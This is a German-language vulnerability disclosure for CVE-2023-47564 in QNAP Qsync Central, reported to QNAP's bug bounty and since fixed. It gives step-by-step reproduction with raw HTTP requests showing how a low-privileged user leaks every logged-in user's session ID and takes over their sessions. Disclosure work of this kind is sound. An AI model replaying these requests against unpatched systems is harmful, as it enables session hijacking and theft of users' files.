
CVE-2023-47564
"Eine fehlerhafte Berechtigungszuweisung für eine kritische Ressource wurde gemeldet, die Qsync Central betrifft. Bei Ausnutzung könnte die Schwachstelle authentifizierten Benutzern ermöglichen, die Ressource über ein Netzwerk zu lesen oder zu ändern."
Datum der Entdeckung: December 5, 2023
Datum der Behebung: February 3, 2024
Betroffene Version(en): Qsync Central 4.4.x, Qsync Central 4.3.x
Behobene Version(en): Qsync Central 4.4.0.15 (2024/01/04) und später, Qsync Central 4.3.0.11 (2024/01/11) und später
Zusammenfassung:
Während eines aktuellen Pentests erhielt ich Zugriff auf ein QNAP-System als Benutzer mit geringen Privilegien (hier user123). Es gab keine interessanten Dateien, also habe ich etwas tiefer gegraben.
Auf dem System lief nur die Qsync Central App (https://www.qnap.com/en/app_releasenotes/list.php?app_choose=QsyncServer).
Zuerst versuchte ich eine Liste aller verfügbaren Benutzer zu finden und durchsuchte meinen Proxy-Verlauf. Dabei stieß ich auf den Endpunkt /cgi-bin/qsync/qboxRequest.cgi.
Dieser Endpunkt gab Informationen über mein aktuelles Benutzerkonto und tatsächlich auch meine aktuelle Sitzungs-ID (sid) preis.
Die Anfrage sah wie folgt aus:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=60ud018n&_dc=1701766637869&subfunc=qbox&genQboxDeviceList=1&sort=1&filteruser=user123 HTTP/2
Host: vulnhost.com
Cookie: DESKTOP=1; WINDOW_MODE=1; nas_wfm_tree_x=200; QSYNC_SID=60ud018n; QSYNC_USER=user123; NAS_SID=60ud018n; QT=1701766635952
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Die Antwort war:
HTTP/2 200 OK
Server:
[...]
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 09:57:14]]></time>
<user><![CDATA[user123]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[60ud018n]]></sid>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[0]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
</data>
<ret>0</ret>
</logroot>
</QDocRoot>
Interessant war der Parameter filteruser. Ich entfernte ihn einfach und zu meiner Überraschung wurde eine Liste aller Benutzer und ihrer Sitzungs-IDs zurückgegeben!
So konnte ich die Sitzung jedes anderen eingeloggten Benutzers übernehmen. Als PoC verwendete ich eine der Sitzungen, um mich als einen anderen Benutzer anzumelden.
Ich meldete die Schwachstelle an QNAPs Bug-Bounty-Programm. Die Kommunikation war unkompliziert und eine Behebung wurde schnell bereitgestellt.
Schritte zur Reproduktion (im Detail):
Melden Sie sich als Angreifer mit einem normalen, wenig privilegierten Benutzerkonto bei der QNAP Qsync-Webanwendung an.
Extrahieren Sie die Sitzungs-ID (sid) des Angreifers aus dem NAS_SID-Cookie, das von der Qsync-Webanwendung gesetzt wird.
Verwenden Sie den sid-Wert des Angreifers sowohl im NAS_SID-Cookie als auch im HTTP-GET-Parameter sid und führen Sie folgende HTTP-Anfrage aus:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=yl9osz6l&subfunc=qbox&genQboxDeviceList=1&sort=1 HTTP/2
Host: vulnhost.com
Cookie: NAS_SID=yl9osz6l;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Die gültigen Sitzungs-IDs aller anderen aktuell in der Webanwendung eingeloggten Benutzer können aus der HTTP-Antwort extrahiert werden, z.B.:
HTTP/2 200 OK
Server:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
Vary: Referer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/xml
Date: Tue, 05 Dec 2023 10:32:00 GMT
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[1]]></authPassed><model><modelName><![CDATA[TS-X71U]]></modelName><internalModelName><![CDATA[TS-X71]]></internalModelName><platform><![CDATA[TS-NASX86]]></platform><platform_ex><![CDATA[X86_HASWELL]]></platform_ex><customModelName><![CDATA[]]></customModelName><displayModelName><![CDATA[TVS-471U-RP]]></displayModelName><sas_model><![CDATA[0]]></sas_model><storage_v2>1</storage_v2>
<encryptfsSupported><![CDATA[1]]></encryptfsSupported></model>
<firmware><version><![CDATA[5.1.1]]></version><number><![CDATA[2491]]></number><build><![CDATA[20230815]]></build><patch><![CDATA[0]]></patch><buildTime><![CDATA[2023/08/15]]></buildTime></firmware>
<sp><![CDATA[ALPHA]]></sp><rfs_bits><![CDATA[32]]></rfs_bits><specVersion><![CDATA[1.0]]></specVersion><hostname><![CDATA[Data]]></hostname><DemoSiteSuppurt><![CDATA[no]]></DemoSiteSuppurt><customLogo><customFrontLogo><![CDATA[]]></customFrontLogo><customLoginLogo><![CDATA[]]></customLoginLogo></customLogo>
<logroot>
<ADSSupport><![CDATA[1]]></ADSSupport><trustedDomain><enable><![CDATA[0]]></enable></trustedDomain>
<count>239</count>
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 11:31:50]]></time>
<user><![CDATA[victim]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[12345678]]></sid></span>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[1]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
[...]
Der folgende Screenshot veranschaulicht dieses Problem (aus Datenschutzgründen wurden die Sitzungs-IDs sowie identifizierende Informationen über die getestete QNAP Qsync-Instanz geschwärzt):
![]() |
|---|
| Geleakte Session-ID-Werte |
Der Angreifer kann die extrahierten sid-Werte verwenden, um sich als eines der Opfer anzumelden, indem er das NAS_SID-Cookie entsprechend setzt. Dies ermöglicht es dem Angreifer, die Sitzung des Opfers zu übernehmen und jede Datei herunterzuladen, die vom Opfer auf dem QNAP-System gespeichert wurde.